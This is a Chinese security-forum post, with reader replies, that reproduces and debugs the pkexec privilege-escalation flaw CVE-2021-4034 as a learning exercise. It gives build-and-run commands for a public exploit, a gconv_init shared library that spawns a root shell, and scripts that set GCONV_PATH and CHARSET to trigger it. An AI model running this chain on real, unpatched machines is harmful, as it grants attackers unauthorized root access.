首页
社区
课程
招聘
[原创]CVE-2021-4034 pkexec本地提权漏洞复现与原理分析
发表于: 2022-2-8 21:37 44977

[原创]CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

2022-2-8 21:37
44977

近期爆出了一个影响甚广的本地提权漏洞CVE-2021-4034,诸如Ubuntu、Debian、Fedora和CentOS 等主流Linux操作系统都受到了该漏洞影响。漏洞利用脚本在互联网上已经公开,利用起来异常简单且稳定。在当前的环境下,当攻击者获得目标操作系统一个普通用户权限时,则极大概率可以直接获得root权限,使得权限控制机制形同虚设。
而如此重大的漏洞,起因却仅仅是因为一个名为pkexec的程序对参数个数的判断存在疏忽,造成了一个数组溢出。如何利用一个数组溢出获得root权限呢?怀着这一疑问,本人对公开利用脚本进行了源码调试分析,感慨其利用技巧极具艺术性的同时,将分析过程记录成本篇文章。

本次的漏洞复现环境为Kali-Linux-2021.2-vmware-amd64,其pkexec版本为0.105,使用普通用户kali进行复现。

下载exp源码并编译(如果目标环境没有gcc,可以在本地编译好了之后再拷贝上去)

测试exp效果,得到了root权限

图片描述

操作系统:Kali-Linux-2021.2-vmware-amd64
polkit源码版本:polkit-0.105
gdb配置:
1.设置反汇编风格为intel风格(个人喜好)
2.关闭pwndbg等配置,避免调试时过多的信息造成干扰
3.设置gdb的SUID位,避免调试pkexec时执行到geteuid函数失败,报错“pkexec must be setuid root”

图片描述

资源下载
https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz
https://github.com/berdav/CVE-2021-4034.git

test.c

学过C语言的朋友都知道,如上代码中,argc表示参数的个数,argv存放着具体的参数,argv[0]指向程序本身,argv[1]指向第一个参数,argv[2]指向第二个参数,...,argv[argc]存放0 表示结束。
图片描述

当我们在命令行中执行程序时,argc的取值至少为1,因为即使不加参数,argv[0]也要指向程序路径本身。pkexec的作者也是这么想的,从而百密一疏,遗留下了一个重大隐患。在特殊情况下,如使用execve来调用程序,并给argv传值 NULL,则argc为0。
execve函数声明

execve.c

图片描述

execve.c

使用execve调用test程序,并分别给argv与envp传递了3个值。

test.c

argc为3,加上截止符0,argv的大小为4,这里直接打印了8个值,显然是越界了。argv后面的内容是什么呢?
图片描述
通过实验,表明argv与envp在内存布局上是连续的,envp紧跟argv之后。

main.c

pwnkit.c

Makefile

run.sh

g_printerr 的功能和printf很像,主要就是打印文本。在本实验中,当环境变量设置了CHARSET,且不为UTF-8时,g_printerr会进行编码转换,而转换的方法就是根据GCONV_PATH里的配置文件gconv-modules的说明,调用pwnkit.so,从而得到shell。
图片描述

当一个程序被设置了SUID权限,则其他用户执行该程序时,可以临时切换到程序所有者的权限去执行一些功能。因为涉及到权限变更,所以在执行操作系统自带的此类程序时,往往被要求授权。
pkexec的所有者为root,具有SUID权限,当普通用户kali执行“pkexec bash”命令时会被要求授权。获得授权后,得到了root权限。
图片描述
图片描述

打印所有环境变量
main.c

使用root用户进行编译,并设置SUID权限

图片描述
设置环境变量,并通过test程序打印出来,用以判断环境变量的导入情况

run.sh

分别以root用户和kali用户执行“./run.sh |grep AAAA”,用来判断环境变量的导入情况。
图片描述
图片描述
通过实验可以知道,当以kali用户身份去执行所有者为root且具有SUID权限的程序时,GCONV_PATH、LD_PRELOAD 等不安全的环境变量并不会被引入。

https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz

以root用户赋权

图片描述

修改利用脚本里调用的程序为刚编译好的pkexec,以便源码调试。
cve-2021-4034.c

"./pkexec bash"是正常的用法,会先请求授权,然后再以root权限执行bash命令;而"./cve-2021-4034"会利用漏洞,跳过授权认证,直接以root权限执行命令。授权认证是如何被绕过的呢?
如果能在源码层次记录下两个程序的执行流程,则可以比对出有差异的地方,从而帮助我们理解“授权认证是如何被绕过”这个问题,更直观的理解漏洞利用过程。

step_trace.py

step_trace.py是gdb的源码追踪脚本,可以把执行过的代码打印到终端上。其中,step="next" 表示单步步过,step="step" 表示单步步入。

bplist

在pkexec的main函数和调用execv(pkexec.c:900)时下断点,记录中间的源码调用。在调试过程中,可以知道授权弹窗在705行代码polkit_authority_check_authorization_sync处调用。另外,step_trace.py 把源码追踪的结果打印在了终端,可以通过复制的方式另存为gdb_pkexec_bash.log,以便后面的分析。
图片描述
图片描述
图片描述

bplist_cve

源码追踪"./cve-2021-4034"的执行,并把日志记录为gdb_cve-2021-4034.log,以便后面的分析。
图片描述
图片描述

图片描述
通过比对代码流日志,可以清晰的看到"./cve-2021-4034"对argc的处理和validate_environment_variable的行为上存在异常,发现这两点异常将十分有助于我们理解漏洞利用过程。"./cve-2021-4034"的代码流程非常的短,其在调用环境变量校验函数validate_environment_variable的时候就获得了shell,这也就解释了为何会绕过授权认证,因为根本就没走到那。

通过gdb调试,可以打印一些关键变量的值,并给gdb_cve-2021-4034.log加上备注,这样有助于理解漏洞利用过程。

bp

图片描述
由图可知,参数数组与环境变量数组在内存布局上是连续的,本例中,argv[1]即是environ[0]

图片描述
s被赋值为"GCONV_PATH=./pwnkit.so:.",在pkexec程序看来,这只是一个普通的文件路径,而这是攻击者特意构造的,是为了引入不安全的环境变量GCONV_PATH。

图片描述
利用越界写漏洞,成功引入不安全的环境变量GCONV_PATH。

图片描述
构造报错,调用g_printerr,得到shell。

gdb_cve-2021-4034_details.log

当使用普通用户权限执行pkexec时,GCONV_PATH、LD_PRELOAD等不安全的环境变量会被删除,但攻击者可以通过参数数组的越界读写漏洞,重新引入不安全的环境变量,进而构造利用链获取root权限。这一漏洞的起因十分简单,危害却十分严重,值得深思。

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
https://duo.com/decipher/serious-privilege-escalation-flaw-in-linux-component-patched
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://stackoverflow.com/questions/39602306/tracing-program-function-execution-on-source-line-level
https://www.xiebruce.top/1387.html
https://bbs.pediy.com/thread-271345.htm

参考了P神的vulhub项目,在docker镜像vulhub/polkit:0.105的基础上部署了gdb、polkit源码,并做了配置和调试。

"docker logs 容器ID"看到如下内容说明容器启动成功

或者"nc 127.0.0.1 2222"看到如下内容也能说明容器启动成功

使用ssh以普通用户ubuntu的身份通过2222端口登录系统,进入/home/ubuntu/CVE-2021-4034_pkexec/CVE-2021-4034_exp/目录开始源码调试

图片描述

触发命令执行时的调用栈

图片描述

本来觉得docker环境会不会小一点,看了一下要2个G左右,其实虚拟机做的好的话2个G也能搞定,不过借助docker的话,在内容分发和管理上可能会方便一些。另外,pkexec漏洞利用有些技巧,但抽丝剖茧理解起来并不是太难,感觉至少比堆利用要简单,其知名、典型、不算太老,是个很好的学习素材。

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034
./cve-2021-4034
chmod 4755 /usr/bin/gdb
chmod 4755 /usr/bin/gdb
#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<argc; i++) {
        printf("%s\n", argv[i]);
    }
 
    return 0;
}
#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<argc; i++) {
        printf("%s\n", argv[i]);
    }
 
    return 0;
}
#include <unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);
#include <unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);
#include <unistd.h>
 
int main(int argc, char **argv)
{
    return execve("./test", NULL, NULL);
}
#include <unistd.h>
 
int main(int argc, char **argv)
{
    return execve("./test", NULL, NULL);
}
#include <unistd.h>
 
int main()
{
    char* const argv[] = {
        "AAAA1111",
        "BBBB2222",
        "CCCC3333",
        NULL
    };
    char* const envp[] = {
        "DDDD3333",
        "EEEE4444",
        "FFFF5555",
        NULL
    };
    return execve("./test", argv, envp);
}
#include <unistd.h>
 
int main()
{
    char* const argv[] = {
        "AAAA1111",
        "BBBB2222",
        "CCCC3333",
        NULL
    };
    char* const envp[] = {
        "DDDD3333",
        "EEEE4444",
        "FFFF5555",
        NULL
    };
    return execve("./test", argv, envp);
}
#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<8; i++) {
        if(argv[i]!=NULL) {
            printf("argv[%d]: %s\n", i, argv[i]);
        } else {
            printf("argv[%d]: NULL\n", i);
        }
    }
     
    return 0;
}
#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<8; i++) {
        if(argv[i]!=NULL) {
            printf("argv[%d]: %s\n", i, argv[i]);
        } else {
            printf("argv[%d]: NULL\n", i);
        }
    }
     
    return 0;
}
int main()
{
    g_printerr("Hello world.\n");
    return 0;
}
int main()
{
    g_printerr("Hello world.\n");
    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void gconv(void) {
}
 
void gconv_init(void *step)
{
        char * const args[] = { "/bin/sh", "-pi", NULL };
        char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
        execve(args[0], args, environ);
        exit(0);
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void gconv(void) {
}
 
void gconv_init(void *step)
{
        char * const args[] = { "/bin/sh", "-pi", NULL };
        char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
        execve(args[0], args, environ);
        exit(0);
}
all:
        echo "module UTF-8// AAAA// pwnkit 1" > gconv-modules
        gcc --shared -fPIC -o pwnkit.so pwnkit.c
        gcc -o test main.c -lglib-2.0
all:
        echo "module UTF-8// AAAA// pwnkit 1" > gconv-modules
        gcc --shared -fPIC -o pwnkit.so pwnkit.c
        gcc -o test main.c -lglib-2.0
#!/bin/bash
 
export CHARSET=AAAA
export GCONV_PATH=.
 
./test
#!/bin/bash
 
export CHARSET=AAAA
export GCONV_PATH=.
 
./test
int main()
{
    system("env");
    return 0;
}
int main()
{
    system("env");
    return 0;
}
gcc -g -O0 -o test main.c
chmod 4755 ./test
gcc -g -O0 -o test main.c
chmod 4755 ./test
#!/bin/bash
 
export GCONV_PATH=AAAA0001
export GETCONF_DIR=AAAA0002
export HOSTALIASES=AAAA0003
export LD_AUDIT=AAAA0004
export LD_DEBUG=AAAA0005
export LD_DEBUG_OUTPUT=AAAA0006
export LD_DYNAMIC_WEAK=AAAA0007
export LD_HWCAP_MASK=AAAA0008
export LD_LIBRARY_PATH=AAAA0009
export LD_ORIGIN_PATH=AAAA0010
export LD_PRELOAD=AAAA0011
export LD_PROFILE=AAAA0012
export LD_SHOW_AUXV=AAAA0013
export LD_USE_LOAD_BIAS=AAAA0014
export LOCALDOMAIN=AAAA0015
export LOCPATH=AAAA0016
export MALLOC_TRACE=AAAA0017
export NIS_PATH=AAAA0018
export NLSPATH=AAAA0019
export RESOLV_HOST_CONF=AAAA0020
export RES_OPTIONS=AAAA0021
export TMPDIR=AAAA0022
export TZDIR=AAAA0023
 
export PATH=AAAA1001:/usr/bin
export SHELL=AAAA1002
export CHARSET=AAAA1003
export BBBB=AAAA1004
 
./test
#!/bin/bash
 
export GCONV_PATH=AAAA0001
export GETCONF_DIR=AAAA0002
export HOSTALIASES=AAAA0003
export LD_AUDIT=AAAA0004
export LD_DEBUG=AAAA0005
export LD_DEBUG_OUTPUT=AAAA0006
export LD_DYNAMIC_WEAK=AAAA0007
export LD_HWCAP_MASK=AAAA0008
export LD_LIBRARY_PATH=AAAA0009
export LD_ORIGIN_PATH=AAAA0010
export LD_PRELOAD=AAAA0011
export LD_PROFILE=AAAA0012
export LD_SHOW_AUXV=AAAA0013
export LD_USE_LOAD_BIAS=AAAA0014
export LOCALDOMAIN=AAAA0015
export LOCPATH=AAAA0016
export MALLOC_TRACE=AAAA0017
export NIS_PATH=AAAA0018
export NLSPATH=AAAA0019
export RESOLV_HOST_CONF=AAAA0020
export RES_OPTIONS=AAAA0021
export TMPDIR=AAAA0022
export TZDIR=AAAA0023
 
export PATH=AAAA1001:/usr/bin
export SHELL=AAAA1002
export CHARSET=AAAA1003
export BBBB=AAAA1004
 
./test
apt install automake
apt install autopoint
apt install libtool
apt install gtk-doc-tools
apt install libpam0g-dev
apt install intltool
apt install automake
apt install autopoint
apt install libtool
apt install gtk-doc-tools
apt install libpam0g-dev

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-11-29 17:08 被Jtian编辑 ,原因:
上传的附件:
收藏
免费 10
支持
分享
最新回复 (24)
雪    币: 16501
活跃值: (6382)
能力值: ( LV13,RANK:923 )
在线值:
发帖
回帖
粉丝
2
$ alias whoami='echo root'
$ export PS1='# '
# whoami
root
2022-2-9 18:49
1
雪    币: 78
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

师傅您好,逛论坛看到您发的帖子,觉得写得很好,想分享给更多人,未经您的允许已经发到我的公众号上“每天一个入狱小技巧”,表示抱歉。已注明出处,如不同意请回复,我会立即删帖,谢谢

最后于 2022-2-10 11:14 被wx_七゜_367编辑 ,原因: 写错了
2022-2-10 10:43
0
雪    币: 1827
活跃值: (4005)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
wx_七゜_367 师傅您好,逛论坛看到您发的帖子,觉得写得很好,想分享给更多人,未经您的允许已经发到我的公众号上“每天一个入狱小技巧”,表示抱歉。已注明出处,如不同意请回复,我会立即删帖,谢谢
可以的,注明出处就好
2022-2-10 11:35
0
雪    币: 78
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
Jtian 可以的,注明出处就好
好的 谢谢师傅
2022-2-10 14:06
0
雪    币: 5916
活跃值: (661)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
大侠,附件链接挂了
2022-2-10 18:17
0
雪    币: 1827
活跃值: (4005)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
鸿渐之翼 大侠,附件链接挂了
看了下,附件没挂呀。直接点击链接开始下载,不要右键再下载。
2022-2-10 18:54
0
雪    币: 180
活跃值: (407)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
感谢分享
2022-2-12 01:11
0
雪    币: 180
活跃值: (407)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
师傅请问代码流日志比对使用的是什么软件?
2022-2-12 22:18
0
雪    币: 65
活跃值: (545)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
h0pε 师傅请问代码流日志比对使用的是什么软件?

Beyond Compare,截图的标题栏上可以看出来

最后于 2022-2-14 00:08 被jren编辑 ,原因:
2022-2-13 23:59
0
雪    币: 180
活跃值: (407)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
jren h0pε 师傅请问代码流日志比对使用的是什么软件? Beyond&nbsp;Compare,截图的标题栏上可以看出来
感谢
2022-2-14 11:41
0
雪    币: 5916
活跃值: (661)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
感谢大侠,已成功调试。
2022-2-14 13:58
0
雪    币: 213
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
13
感谢分享,正准备分析
2022-2-15 16:28
0
雪    币: 213
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
14
step_trace.py gdb脚本调试的时候有问题,怎么解决?

  File "step_trace.py", line 26, in step_trace
    print("Stepping until end of {} @ {}:{}".format(frame.name(), frame.function().symtab, frame.function().line))
AttributeError: 'NoneType' object has no attribute 'symtab'
2022-2-17 10:20
0
雪    币: 65
活跃值: (545)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
15
菜鸟学IoT step_trace.py gdb脚本调试的时候有问题,怎么解决?  File "step_trace.py", line 26, in step_trace    p ...

你可以通过调试的方法来排查问题
import pdb
pdb.set_trace()


https://blog.csdn.net/qq_27825451/article/details/85600992

最后于 2022-2-17 17:18 被jren编辑 ,原因:
2022-2-17 17:16
0
雪    币: 0
活跃值: (362)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
师傅,请问p_printerr是不需要包含头文件的吗?这边编译似乎没法通过。。。试着去include找了一下也没找到合适的头文件
2022-3-2 15:14
0
雪    币: 1827
活跃值: (4005)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
17
Squirre17 师傅,请问p_printerr是不需要包含头文件的吗?这边编译似乎没法通过。。。试着去include找了一下也没找到合适的头文件
是 g_printerr。
2022-3-2 16:32
0
雪    币: 1827
活跃值: (4005)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
18
Squirre17 师傅,请问p_printerr是不需要包含头文件的吗?这边编译似乎没法通过。。。试着去include找了一下也没找到合适的头文件
我这里并没有报错,只产生了一个告警,文章截图里有显示。你可以确认下编译环境是否一致、依赖库是否安装。
2022-3-2 16:37
0
雪    币: 0
活跃值: (362)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
Jtian 我这里并没有报错,只产生了一个告警,文章截图里有显示。你可以确认下编译环境是否一致、依赖库是否安装。
这里我打错了,但是自己本地没打错,依赖库glib-2.0也装了还是不行,只能手动调iconv来执行了
2022-3-2 20:22
0
雪    币: 379
活跃值: (394)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
大佬总结好呀
2022-3-30 01:00
0
雪    币: 1855
活跃值: (4141)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
好帖,回过头再看一遍又有了新的收获,顶!
2022-5-17 21:40
0
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
22

大佬,我在 ubuntu 16.04 复现的时候出现个问题,我使用 gdb ./pkexec 调试的时候,r 运行之后会出现以下报错:
Cannot exec  -c exec /home/b1/pkexec bash.
Error: No such file or directory
During startup program exited with code 127.

然后尝试使用 sudo 启动 gdb后不存在这个问题,我换到 ubuntu20.04 也不存在这个问题。请教一下您是否知道具体原因是什么?

最后于 2022-12-23 18:37 被b1cc编辑 ,原因:
2022-12-23 18:27
0
雪    币: 1827
活跃值: (4005)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
23
b1cc 大佬,我在&nbsp;ubuntu&nbsp;16.04&nbsp;复现的时候出现个问题,我使用&nbsp;gdb&nbsp;./pkexec&nbsp ...
看报错原因,说是文件不存在,你可以在命令行里手动执行确认一下。
另外,如果是相对路径的文件,还要确认下当前工作路径与环境变量。
2022-12-24 17:28
0
雪    币: 3840
活跃值: (1920)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
24
cool, 还能这样提权, 学习了. 写的很细, 我个人觉得如果稍微调整下顺序感觉观感会更好, 先写提权成因, 源码分析它触发路径, 后面再上调试分析, 会更清晰明了吧
2022-12-27 11:10
0
雪    币: 1827
活跃值: (4005)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
25
Jtian 看报错原因,说是文件不存在,你可以在命令行里手动执行确认一下。 另外,如果是相对路径的文件,还要确认下当前工作路径与环境变量。

要不试试我的环境?

CVE-2021-4034 pkexec提权漏洞源码调试环境

百度网盘链接:https://pan.baidu.com/s/1pf-lk9LrLHSaPzihpMRisQ?pwd=77ac


最后于 2023-11-29 17:04 被Jtian编辑 ,原因:
2023-11-29 17:03
0
游客
登录 | 注册 方可回帖
返回
//